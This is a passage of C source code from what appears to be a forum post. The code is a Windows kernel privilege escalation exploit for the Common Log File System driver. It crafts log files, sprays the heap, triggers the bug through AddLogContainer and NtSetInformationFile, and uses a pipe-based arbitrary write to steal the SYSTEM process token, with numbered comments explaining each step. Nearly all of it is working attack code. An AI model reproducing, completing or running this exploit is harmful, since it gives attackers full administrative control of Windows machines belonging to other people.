                        UINT64 Token_address_current_minus_8 = g_EProcessAddress + 0x4b8 - 8;

                        printf("ADDRESS of MY PROCESSS TOKEN -8= %p\n", Token_address_current_minus_8);


                        for (int i = 8; i < 0x1000000; i += 0x10)
                        {
                          *(UINT64*)(i + 0x10000) = (UINT64)Token_address_current_minus_8;
                        }

                        *(UINT64*)(0x5000000) = 0x123456789;
                        *(UINT64*)(0x5000018) = fnClfsEarlierLsn;
                        *(UINT64*)(0x5000008) = fnSeSetAccessStateGenericMapping;
                }


                //   printf("attach\n");
                      v51 = CreateLogFile(stored_env_fname, 0xC0010000, 3u, 0i64, 4, 0); // 0xc0010000 #gets a handle of MyLog.blf
                //    printf("OK 0x%x\n", v51);
                srand(time(NULL));
                int v53 = rand();
                WCHAR* v25 = (WCHAR*)malloc(0x1000);
                WCHAR* v85 = v25;
                memset(v25, 0, 0x1000);
                wsprintfW(v85, L"%s_%d", stored_env_xfname, v53);

                /* 4. Call the CreateLogFile API to create a base log file MyLxg_xxx.blf in the folder C:\Users\Public\. */
                HANDLE v55 = CreateLogFile(v85, GENERIC_READ | GENERIC_WRITE | DELETE, 3u, 0i64, 4u, 0); //gets a handle of MyLogxxx.blf
                printf("OK handle 55 0x%x\n", v55);
                if (v55 == (HANDLE)-1i64) {
                    //       printf("Choose name fail ---> Duplicate\n");
                    exit(1);
                }

                /* 5. Call the AddLogContainer API to add a log container for the base log file MyLxg_xxx.blf created in Step 4.*/

                LONGLONG pcbContainer = 512;
                //  int v56 = rand();
                WCHAR pwszContainerPath[768] = { 0 };
                WCHAR pwszContainerPath2[768] = { 0 };
                WCHAR pwszContainerPath3[768] = { 0 };
                if (flag == 0){
                    wsprintfW(pwszContainerPath, stored_env_containerfname);
                }
                else {
                    wsprintfW(pwszContainerPath, stored_env_containerfname2);
                }
                

                //printf("string copiada2: %ls\n", stored_env_containerfname);

                printf("pwszContainerPath: %ls\n", pwszContainerPath);


                if (!AddLogContainer(v55, (PULONGLONG)&pcbContainer, pwszContainerPath, 0i64)) {
                    CloseHandle(v55);
                    CloseHandle(v51);
                    //       printf("AddLogContainer Fail, please delete C:\\Users\\Public\\MyLxg_xxx.blf and try again\n");
                    exit(1);
                }

                // printf("LOG:C:\\Users\\Public\\Mylxg_xxx AddLogContainer OK\n");

                /* 7. Call the AddLogContainer API to add a log container for the base log file MyLog.blf opened in Step 3. */

                pcbContainer = 512;
                srand(time(NULL));
                UINT v56 = rand();

                wsprintfW(pwszContainerPath, stored_env_containerfname);
                

                AddLogContainer(v51, (PULONGLONG)&pcbContainer, pwszContainerPath, 0i64); // Crash !

                //   printf("LOG:C:\\Users\\Public\\MyLog AddLogContainer OK2\n");

                char v33[16] = { 0 };
                char v28[4] = {};
                v28[0] = 1;

                //   printf("NtSetInformationFile address --> 0x%llx\n", _NtSetInformationFile);

                //   printf("Calling NtSetInformationFile\n");

                   /* 8. Call NtSetInformationFile(v55, (PIO_STATUS_BLOCK)v33, v28, 1, (FILE_INFORMATION_CLASS)13),
                   where the last parameter is the type of FileInformationClass. When the value is FileDispositionInformation (13),
                   the function will delete the file when it is closed or will cancel a previously requested deletion. */

                typedef NTSTATUS func(HANDLE, PIO_STATUS_BLOCK, PVOID, ULONG, FILE_INFORMATION_CLASS);
                func* _NtSetInformationFile = (func*)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtSetInformationFile");

                NTSTATUS setresult = _NtSetInformationFile(v55, (PIO_STATUS_BLOCK)v33, v28, 1i64, (FILE_INFORMATION_CLASS)13);
                //   printf("SetInformationFile: 0x%x\n", GetLastError());

                   /* 9. Call the CloseHandle API to close the handle of the base log file MyLxg_xxx.blf, to trigger this vulnerability. */

                CloseHandle(v55);
                CloseHandle(v51);

                VOID* dest = malloc(0x100);
                memset(dest, 0x42, 0xff);

                void * v9b = _malloc_base(0x2000);
                
                int v29 = 90;
                _NtFsControlFile(hReadPipe[0], 0, 0, 0, &v30, 0x110038, &v29, 2, v9b, 0x2000);

                PUINT64 v27= ( PUINT64)((char*)v9b + v14 + 0x4b8);
                if (v27 == 0) { exit(1); };
                System_token_value=*v27;
                next_token=v27[1];

                printf("SYSTEM TOKEN VALUE= %p\n", System_token_value);

                if (System_token_value == 0x4141414141414141) {

                    printf("Failed attempt try again..\n");
                    exit(1234);

                }

                //getchar();



            }
            flag++;
            //getchar();
            return 0;
        }






int main(int argc, TCHAR* argv[])
{

    getOSversion();
    InitEnvironment();
    checkAccessToken();
    createInitialLogFile();
    GetOffsetBetweenPools();
    craftFile();
    crcCalculatorAndFix();
    doHeapSpray();
    pipeArbitraryWriteValues();
    pipeArbitraryWrite();
    pipeArbitraryWrite();

    WinExec("cmd /c notepad", 1);
    getchar();
    return 0;
}
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх